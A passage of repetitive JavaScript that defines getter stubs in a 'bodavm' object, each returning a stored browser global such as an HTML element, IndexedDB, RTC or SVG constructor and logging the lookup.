bodavm.memory.globalobj['HTMLLIElement']; console.log(`window_HTMLLIElement`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_HTMLLabelElement = function () { let arg = bodavm.memory.globalobj['HTMLLabelElement']; console.log(`window_HTMLLabelElement`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_HTMLLegendElement = function () { let arg = bodavm.memory.globalobj['HTMLLegendElement']; console.log(`window_HTMLLegendElement`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_HTMLLinkElement = function () { let arg = bodavm.memory.globalobj['HTMLLinkElement']; console.log(`window_HTMLLinkElement`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_HTMLMapElement = function () { let arg = bodavm.memory.globalobj['HTMLMapElement']; console.log(`window_HTMLMapElement`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_HTMLMarqueeElement = function () { let arg = bodavm.memory.globalobj['HTMLMarqueeElement']; console.log(`window_HTMLMarqueeElement`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_HTMLMediaElement = function () { let arg = bodavm.memory.globalobj['HTMLMediaElement']; console.log(`window_HTMLMediaElement`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_HTMLMenuElement = function () { let arg = bodavm.memory.globalobj['HTMLMenuElement']; console.log(`window_HTMLMenuElement`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_HTMLMetaElement = function () { let arg = bodavm.memory.globalobj['HTMLMetaElement']; console.log(`window_HTMLMetaElement`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_HTMLMeterElement = function () { let arg = bodavm.memory.globalobj['HTMLMeterElement']; console.log(`window_HTMLMeterElement`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_HTMLModElement = function () { let arg = bodavm.memory.globalobj['HTMLModElement']; console.log(`window_HTMLModElement`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_HTMLOListElement = function () { let arg = bodavm.memory.globalobj['HTMLOListElement']; console.log(`window_HTMLOListElement`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_HTMLObjectElement = function () { let arg = bodavm.memory.globalobj['HTMLObjectElement']; console.log(`window_HTMLObjectElement`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_HTMLOptGroupElement = function () { let arg = bodavm.memory.globalobj['HTMLOptGroupElement']; console.log(`window_HTMLOptGroupElement`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_HTMLOptionElement = function () { let arg = bodavm.memory.globalobj['HTMLOptionElement']; console.log(`window_HTMLOptionElement`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_HTMLOptionsCollection = function () { let arg = bodavm.memory.globalobj['HTMLOptionsCollection']; console.log(`window_HTMLOptionsCollection`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_HTMLOutputElement = function () { let arg = bodavm.memory.globalobj['HTMLOutputElement']; console.log(`window_HTMLOutputElement`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_HTMLParagraphElement = function () { let arg = bodavm.memory.globalobj['HTMLParagraphElement']; console.log(`window_HTMLParagraphElement`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_HTMLParamElement = function () { let arg = bodavm.memory.globalobj['HTMLParamElement']; console.log(`window_HTMLParamElement`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_HTMLPictureElement = function () { let arg = bodavm.memory.globalobj['HTMLPictureElement']; console.log(`window_HTMLPictureElement`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_HTMLPreElement = function () { let arg = bodavm.memory.globalobj['HTMLPreElement']; console.log(`window_HTMLPreElement`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_HTMLProgressElement = function () { let arg = bodavm.memory.globalobj['HTMLProgressElement']; console.log(`window_HTMLProgressElement`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_HTMLQuoteElement = function () { let arg = bodavm.memory.globalobj['HTMLQuoteElement']; console.log(`window_HTMLQuoteElement`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_HTMLScriptElement = function () { let arg = bodavm.memory.globalobj['HTMLScriptElement']; console.log(`window_HTMLScriptElement`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_HTMLSelectElement = function () { let arg = bodavm.memory.globalobj['HTMLSelectElement']; console.log(`window_HTMLSelectElement`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_HTMLSlotElement = function () { let arg = bodavm.memory.globalobj['HTMLSlotElement']; console.log(`window_HTMLSlotElement`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_HTMLSourceElement = function () { let arg = bodavm.memory.globalobj['HTMLSourceElement']; console.log(`window_HTMLSourceElement`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_HTMLSpanElement = function () { let arg = bodavm.memory.globalobj['HTMLSpanElement']; console.log(`window_HTMLSpanElement`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_HTMLStyleElement = function () { let arg = bodavm.memory.globalobj['HTMLStyleElement']; console.log(`window_HTMLStyleElement`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_HTMLTableCaptionElement = function () { let arg = bodavm.memory.globalobj['HTMLTableCaptionElement']; console.log(`window_HTMLTableCaptionElement`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_HTMLTableCellElement = function () { let arg = bodavm.memory.globalobj['HTMLTableCellElement']; console.log(`window_HTMLTableCellElement`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_HTMLTableColElement = function () { let arg = bodavm.memory.globalobj['HTMLTableColElement']; console.log(`window_HTMLTableColElement`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_HTMLTableElement = function () { let arg = bodavm.memory.globalobj['HTMLTableElement']; console.log(`window_HTMLTableElement`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_HTMLTableRowElement = function () { let arg = bodavm.memory.globalobj['HTMLTableRowElement']; console.log(`window_HTMLTableRowElement`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_HTMLTableSectionElement = function () { let arg = bodavm.memory.globalobj['HTMLTableSectionElement']; console.log(`window_HTMLTableSectionElement`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_HTMLTemplateElement = function () { let arg = bodavm.memory.globalobj['HTMLTemplateElement']; console.log(`window_HTMLTemplateElement`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_HTMLTextAreaElement = function () { let arg = bodavm.memory.globalobj['HTMLTextAreaElement']; console.log(`window_HTMLTextAreaElement`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_HTMLTimeElement = function () { let arg = bodavm.memory.globalobj['HTMLTimeElement']; console.log(`window_HTMLTimeElement`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_HTMLTitleElement = function () { let arg = bodavm.memory.globalobj['HTMLTitleElement']; console.log(`window_HTMLTitleElement`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_HTMLTrackElement = function () { let arg = bodavm.memory.globalobj['HTMLTrackElement']; console.log(`window_HTMLTrackElement`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_HTMLUListElement = function () { let arg = bodavm.memory.globalobj['HTMLUListElement']; console.log(`window_HTMLUListElement`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_HTMLUnknownElement = function () { let arg = bodavm.memory.globalobj['HTMLUnknownElement']; console.log(`window_HTMLUnknownElement`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_HTMLVideoElement = function () { let arg = bodavm.memory.globalobj['HTMLVideoElement']; console.log(`window_HTMLVideoElement`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_HashChangeEvent = function () { let arg = bodavm.memory.globalobj['HashChangeEvent']; console.log(`window_HashChangeEvent`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_Headers = function () { let arg = bodavm.memory.globalobj['Headers']; console.log(`window_Headers`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_IDBCursor = function () { let arg = bodavm.memory.globalobj['IDBCursor']; console.log(`window_IDBCursor`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_IDBCursorWithValue = function () { let arg = bodavm.memory.globalobj['IDBCursorWithValue']; console.log(`window_IDBCursorWithValue`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_IDBIndex = function () { let arg = bodavm.memory.globalobj['IDBIndex']; console.log(`window_IDBIndex`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_IDBKeyRange = function () { let arg = bodavm.memory.globalobj['IDBKeyRange']; console.log(`window_IDBKeyRange`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_IDBObjectStore = function () { let arg = bodavm.memory.globalobj['IDBObjectStore']; console.log(`window_IDBObjectStore`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_IDBOpenDBRequest = function () { let arg = bodavm.memory.globalobj['IDBOpenDBRequest']; console.log(`window_IDBOpenDBRequest`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_IDBRequest = function () { let arg = bodavm.memory.globalobj['IDBRequest']; console.log(`window_IDBRequest`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_IDBTransaction = function () { let arg = bodavm.memory.globalobj['IDBTransaction']; console.log(`window_IDBTransaction`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_IDBVersionChangeEvent = function () { let arg = bodavm.memory.globalobj['IDBVersionChangeEvent']; console.log(`window_IDBVersionChangeEvent`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_IIRFilterNode = function () { let arg = bodavm.memory.globalobj['IIRFilterNode']; console.log(`window_IIRFilterNode`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_IdleDeadline = function () { let arg = bodavm.memory.globalobj['IdleDeadline']; console.log(`window_IdleDeadline`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_ImageBitmap = function () { let arg = bodavm.memory.globalobj['ImageBitmap']; console.log(`window_ImageBitmap`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_ImageBitmapRenderingContext = function () { let arg = bodavm.memory.globalobj['ImageBitmapRenderingContext']; console.log(`window_ImageBitmapRenderingContext`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_ImageCapture = function () { let arg = bodavm.memory.globalobj['ImageCapture']; console.log(`window_ImageCapture`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_ImageData = function () { let arg = bodavm.memory.globalobj['ImageData']; console.log(`window_ImageData`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_InputDeviceCapabilities = function () { let arg = bodavm.memory.globalobj['InputDeviceCapabilities']; console.log(`window_InputDeviceCapabilities`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_InputDeviceInfo = function () { let arg = bodavm.memory.globalobj['InputDeviceInfo']; console.log(`window_InputDeviceInfo`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_InputEvent = function () { let arg = bodavm.memory.globalobj['InputEvent']; console.log(`window_InputEvent`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_IntersectionObserver = function () { let arg = bodavm.memory.globalobj['IntersectionObserver']; console.log(`window_IntersectionObserver`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_IntersectionObserverEntry = function () { let arg = bodavm.memory.globalobj['IntersectionObserverEntry']; console.log(`window_IntersectionObserverEntry`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_KeyboardEvent = function () { let arg = bodavm.memory.globalobj['KeyboardEvent']; console.log(`window_KeyboardEvent`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_KeyframeEffect = function () { let arg = bodavm.memory.globalobj['KeyframeEffect']; console.log(`window_KeyframeEffect`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_LargestContentfulPaint = function () { let arg = bodavm.memory.globalobj['LargestContentfulPaint']; console.log(`window_LargestContentfulPaint`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_LayoutShift = function () { let arg = bodavm.memory.globalobj['LayoutShift']; console.log(`window_LayoutShift`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_LayoutShiftAttribution = function () { let arg = bodavm.memory.globalobj['LayoutShiftAttribution']; console.log(`window_LayoutShiftAttribution`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_MediaCapabilities = function () { let arg = bodavm.memory.globalobj['MediaCapabilities']; console.log(`window_MediaCapabilities`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_MediaElementAudioSourceNode = function () { let arg = bodavm.memory.globalobj['MediaElementAudioSourceNode']; console.log(`window_MediaElementAudioSourceNode`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_MediaEncryptedEvent = function () { let arg = bodavm.memory.globalobj['MediaEncryptedEvent']; console.log(`window_MediaEncryptedEvent`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_MediaError = function () { let arg = bodavm.memory.globalobj['MediaError']; console.log(`window_MediaError`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_MediaList = function () { let arg = bodavm.memory.globalobj['MediaList']; console.log(`window_MediaList`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_MediaQueryList = function () { let arg = bodavm.memory.globalobj['MediaQueryList']; console.log(`window_MediaQueryList`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_MediaQueryListEvent = function () { let arg = bodavm.memory.globalobj['MediaQueryListEvent']; console.log(`window_MediaQueryListEvent`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_MediaRecorder = function () { let arg = bodavm.memory.globalobj['MediaRecorder']; console.log(`window_MediaRecorder`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_MediaStream = function () { let arg = bodavm.memory.globalobj['MediaStream']; console.log(`window_MediaStream`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_MediaStreamAudioDestinationNode = function () { let arg = bodavm.memory.globalobj['MediaStreamAudioDestinationNode']; console.log(`window_MediaStreamAudioDestinationNode`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_MediaStreamAudioSourceNode = function () { let arg = bodavm.memory.globalobj['MediaStreamAudioSourceNode']; console.log(`window_MediaStreamAudioSourceNode`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_MediaStreamEvent = function () { let arg = bodavm.memory.globalobj['MediaStreamEvent']; console.log(`window_MediaStreamEvent`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_MediaStreamTrackEvent = function () { let arg = bodavm.memory.globalobj['MediaStreamTrackEvent']; console.log(`window_MediaStreamTrackEvent`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_MessageChannel = function () { let arg = bodavm.memory.globalobj['MessageChannel']; console.log(`window_MessageChannel`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_MessageEvent = function () { let arg = bodavm.memory.globalobj['MessageEvent']; console.log(`window_MessageEvent`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_MessagePort = function () { let arg = bodavm.memory.globalobj['MessagePort']; console.log(`window_MessagePort`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_MimeType = function () { let arg = bodavm.memory.globalobj['MimeType']; console.log(`window_MimeType`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_MimeTypeArray = function () { let arg = bodavm.memory.globalobj['MimeTypeArray']; console.log(`window_MimeTypeArray`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_MouseEvent = function () { let arg = bodavm.memory.globalobj['MouseEvent']; console.log(`window_MouseEvent`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_MutationEvent = function () { let arg = bodavm.memory.globalobj['MutationEvent']; console.log(`window_MutationEvent`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_MutationRecord = function () { let arg = bodavm.memory.globalobj['MutationRecord']; console.log(`window_MutationRecord`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_NamedNodeMap = function () { let arg = bodavm.memory.globalobj['NamedNodeMap']; console.log(`window_NamedNodeMap`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_NetworkInformation = function () { let arg = bodavm.memory.globalobj['NetworkInformation']; console.log(`window_NetworkInformation`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_Node = function () { let arg = bodavm.memory.globalobj['Node']; console.log(`window_Node`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_NodeFilter = function () { let arg = bodavm.memory.globalobj['NodeFilter']; console.log(`window_NodeFilter`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_NodeIterator = function () { let arg = bodavm.memory.globalobj['NodeIterator']; console.log(`window_NodeIterator`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_NodeList = function () { let arg = bodavm.memory.globalobj['NodeList']; console.log(`window_NodeList`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_OfflineAudioCompletionEvent = function () { let arg = bodavm.memory.globalobj['OfflineAudioCompletionEvent']; console.log(`window_OfflineAudioCompletionEvent`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_OfflineAudioContext = function () { let arg = bodavm.memory.globalobj['OfflineAudioContext']; console.log(`window_OfflineAudioContext`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_OffscreenCanvas = function () { let arg = bodavm.memory.globalobj['OffscreenCanvas']; console.log(`window_OffscreenCanvas`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_OffscreenCanvasRenderingContext2D = function () { let arg = bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D']; console.log(`window_OffscreenCanvasRenderingContext2D`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_OscillatorNode = function () { let arg = bodavm.memory.globalobj['OscillatorNode']; console.log(`window_OscillatorNode`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_OverconstrainedError = function () { let arg = bodavm.memory.globalobj['OverconstrainedError']; console.log(`window_OverconstrainedError`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_PageTransitionEvent = function () { let arg = bodavm.memory.globalobj['PageTransitionEvent']; console.log(`window_PageTransitionEvent`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_PannerNode = function () { let arg = bodavm.memory.globalobj['PannerNode']; console.log(`window_PannerNode`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_Path2D = function () { let arg = bodavm.memory.globalobj['Path2D']; console.log(`window_Path2D`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_PerformanceElementTiming = function () { let arg = bodavm.memory.globalobj['PerformanceElementTiming']; console.log(`window_PerformanceElementTiming`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_PerformanceEntry = function () { let arg = bodavm.memory.globalobj['PerformanceEntry']; console.log(`window_PerformanceEntry`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_PerformanceEventTiming = function () { let arg = bodavm.memory.globalobj['PerformanceEventTiming']; console.log(`window_PerformanceEventTiming`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_PerformanceLongTaskTiming = function () { let arg = bodavm.memory.globalobj['PerformanceLongTaskTiming']; console.log(`window_PerformanceLongTaskTiming`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_PerformanceMark = function () { let arg = bodavm.memory.globalobj['PerformanceMark']; console.log(`window_PerformanceMark`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_PerformanceMeasure = function () { let arg = bodavm.memory.globalobj['PerformanceMeasure']; console.log(`window_PerformanceMeasure`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_PerformanceNavigation = function () { let arg = bodavm.memory.globalobj['PerformanceNavigation']; console.log(`window_PerformanceNavigation`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_PerformanceNavigationTiming = function () { let arg = bodavm.memory.globalobj['PerformanceNavigationTiming']; console.log(`window_PerformanceNavigationTiming`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_PerformanceObserver = function () { let arg = bodavm.memory.globalobj['PerformanceObserver']; console.log(`window_PerformanceObserver`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_PerformanceObserverEntryList = function () { let arg = bodavm.memory.globalobj['PerformanceObserverEntryList']; console.log(`window_PerformanceObserverEntryList`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_PerformancePaintTiming = function () { let arg = bodavm.memory.globalobj['PerformancePaintTiming']; console.log(`window_PerformancePaintTiming`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_PerformanceResourceTiming = function () { let arg = bodavm.memory.globalobj['PerformanceResourceTiming']; console.log(`window_PerformanceResourceTiming`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_PerformanceServerTiming = function () { let arg = bodavm.memory.globalobj['PerformanceServerTiming']; console.log(`window_PerformanceServerTiming`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_PerformanceTiming = function () { let arg = bodavm.memory.globalobj['PerformanceTiming']; console.log(`window_PerformanceTiming`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_PeriodicWave = function () { let arg = bodavm.memory.globalobj['PeriodicWave']; console.log(`window_PeriodicWave`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_Plugin = function () { let arg = bodavm.memory.globalobj['Plugin']; console.log(`window_Plugin`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_PluginArray = function () { let arg = bodavm.memory.globalobj['PluginArray']; console.log(`window_PluginArray`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_PointerEvent = function () { let arg = bodavm.memory.globalobj['PointerEvent']; console.log(`window_PointerEvent`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_PopStateEvent = function () { let arg = bodavm.memory.globalobj['PopStateEvent']; console.log(`window_PopStateEvent`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_ProcessingInstruction = function () { let arg = bodavm.memory.globalobj['ProcessingInstruction']; console.log(`window_ProcessingInstruction`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_ProgressEvent = function () { let arg = bodavm.memory.globalobj['ProgressEvent']; console.log(`window_ProgressEvent`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_PromiseRejectionEvent = function () { let arg = bodavm.memory.globalobj['PromiseRejectionEvent']; console.log(`window_PromiseRejectionEvent`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_RTCCertificate = function () { let arg = bodavm.memory.globalobj['RTCCertificate']; console.log(`window_RTCCertificate`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_RTCDTMFSender = function () { let arg = bodavm.memory.globalobj['RTCDTMFSender']; console.log(`window_RTCDTMFSender`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_RTCDTMFToneChangeEvent = function () { let arg = bodavm.memory.globalobj['RTCDTMFToneChangeEvent']; console.log(`window_RTCDTMFToneChangeEvent`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_RTCDataChannel = function () { let arg = bodavm.memory.globalobj['RTCDataChannel']; console.log(`window_RTCDataChannel`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_RTCDataChannelEvent = function () { let arg = bodavm.memory.globalobj['RTCDataChannelEvent']; console.log(`window_RTCDataChannelEvent`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_RTCDtlsTransport = function () { let arg = bodavm.memory.globalobj['RTCDtlsTransport']; console.log(`window_RTCDtlsTransport`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_RTCEncodedAudioFrame = function () { let arg = bodavm.memory.globalobj['RTCEncodedAudioFrame']; console.log(`window_RTCEncodedAudioFrame`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_RTCEncodedVideoFrame = function () { let arg = bodavm.memory.globalobj['RTCEncodedVideoFrame']; console.log(`window_RTCEncodedVideoFrame`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_RTCError = function () { let arg = bodavm.memory.globalobj['RTCError']; console.log(`window_RTCError`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_RTCErrorEvent = function () { let arg = bodavm.memory.globalobj['RTCErrorEvent']; console.log(`window_RTCErrorEvent`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_RTCIceCandidate = function () { let arg = bodavm.memory.globalobj['RTCIceCandidate']; console.log(`window_RTCIceCandidate`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_RTCPeerConnection = function () { let arg = bodavm.memory.globalobj['RTCPeerConnection']; console.log(`window_RTCPeerConnection`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_RTCPeerConnectionIceErrorEvent = function () { let arg = bodavm.memory.globalobj['RTCPeerConnectionIceErrorEvent']; console.log(`window_RTCPeerConnectionIceErrorEvent`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_RTCPeerConnectionIceEvent = function () { let arg = bodavm.memory.globalobj['RTCPeerConnectionIceEvent']; console.log(`window_RTCPeerConnectionIceEvent`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_RTCRtpReceiver = function () { let arg = bodavm.memory.globalobj['RTCRtpReceiver']; console.log(`window_RTCRtpReceiver`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_RTCRtpSender = function () { let arg = bodavm.memory.globalobj['RTCRtpSender']; console.log(`window_RTCRtpSender`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_RTCRtpTransceiver = function () { let arg = bodavm.memory.globalobj['RTCRtpTransceiver']; console.log(`window_RTCRtpTransceiver`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_RTCSctpTransport = function () { let arg = bodavm.memory.globalobj['RTCSctpTransport']; console.log(`window_RTCSctpTransport`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_RTCSessionDescription = function () { let arg = bodavm.memory.globalobj['RTCSessionDescription']; console.log(`window_RTCSessionDescription`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_RTCStatsReport = function () { let arg = bodavm.memory.globalobj['RTCStatsReport']; console.log(`window_RTCStatsReport`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_RTCTrackEvent = function () { let arg = bodavm.memory.globalobj['RTCTrackEvent']; console.log(`window_RTCTrackEvent`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_RadioNodeList = function () { let arg = bodavm.memory.globalobj['RadioNodeList']; console.log(`window_RadioNodeList`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_Range = function () { let arg = bodavm.memory.globalobj['Range']; console.log(`window_Range`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_ReadableByteStreamController = function () { let arg = bodavm.memory.globalobj['ReadableByteStreamController']; console.log(`window_ReadableByteStreamController`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_ReadableStream = function () { let arg = bodavm.memory.globalobj['ReadableStream']; console.log(`window_ReadableStream`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_ReadableStreamBYOBReader = function () { let arg = bodavm.memory.globalobj['ReadableStreamBYOBReader']; console.log(`window_ReadableStreamBYOBReader`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_ReadableStreamBYOBRequest = function () { let arg = bodavm.memory.globalobj['ReadableStreamBYOBRequest']; console.log(`window_ReadableStreamBYOBRequest`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_ReadableStreamDefaultController = function () { let arg = bodavm.memory.globalobj['ReadableStreamDefaultController']; console.log(`window_ReadableStreamDefaultController`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_ReadableStreamDefaultReader = function () { let arg = bodavm.memory.globalobj['ReadableStreamDefaultReader']; console.log(`window_ReadableStreamDefaultReader`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_ReportingObserver = function () { let arg = bodavm.memory.globalobj['ReportingObserver']; console.log(`window_ReportingObserver`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_Request = function () { let arg = bodavm.memory.globalobj['Request']; console.log(`window_Request`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_ResizeObserver = function () { let arg = bodavm.memory.globalobj['ResizeObserver']; console.log(`window_ResizeObserver`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_ResizeObserverEntry = function () { let arg = bodavm.memory.globalobj['ResizeObserverEntry']; console.log(`window_ResizeObserverEntry`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_ResizeObserverSize = function () { let arg = bodavm.memory.globalobj['ResizeObserverSize']; console.log(`window_ResizeObserverSize`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_Response = function () { let arg = bodavm.memory.globalobj['Response']; console.log(`window_Response`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_SVGAElement = function () { let arg = bodavm.memory.globalobj['SVGAElement']; console.log(`window_SVGAElement`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_SVGAngle = function () { let arg = bodavm.memory.globalobj['SVGAngle']; console.log(`window_SVGAngle`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_SVGAnimateElement = function () { let arg = bodavm.memory.globalobj['SVGAnimateElement']; console.log(`window_SVGAnimateElement`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_SVGAnimateMotionElement = function () { let arg = bodavm.memory.globalobj['SVGAnimateMotionElement']; console.log(`window_SVGAnimateMotionElement`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_SVGAnimateTransformElement = function () { let arg = bodavm.memory.globalobj['SVGAnimateTransformElement']; console.log(`window_SVGAnimateTransformElement`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_SVGAnimatedAngle = function () { let arg = bodavm.memory.globalobj['SVGAnimatedAngle']; console.log(`window_SVGAnimatedAngle`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_SVGAnimatedBoolean = function () { let arg = bodavm.memory.globalobj['SVGAnimatedBoolean']; console.log(`window_SVGAnimatedBoolean`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_SVGAnimatedEnumeration = function () { let arg = bodavm.memory.globalobj['SVGAnimatedEnumeration']; console.log(`window_SVGAnimatedEnumeration`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_SVGAnimatedInteger = function () { let arg = bodavm.memory.globalobj['SVGAnimatedInteger']; console.log(`window_SVGAnimatedInteger`, `-> res ->${arg}`); return arg } - 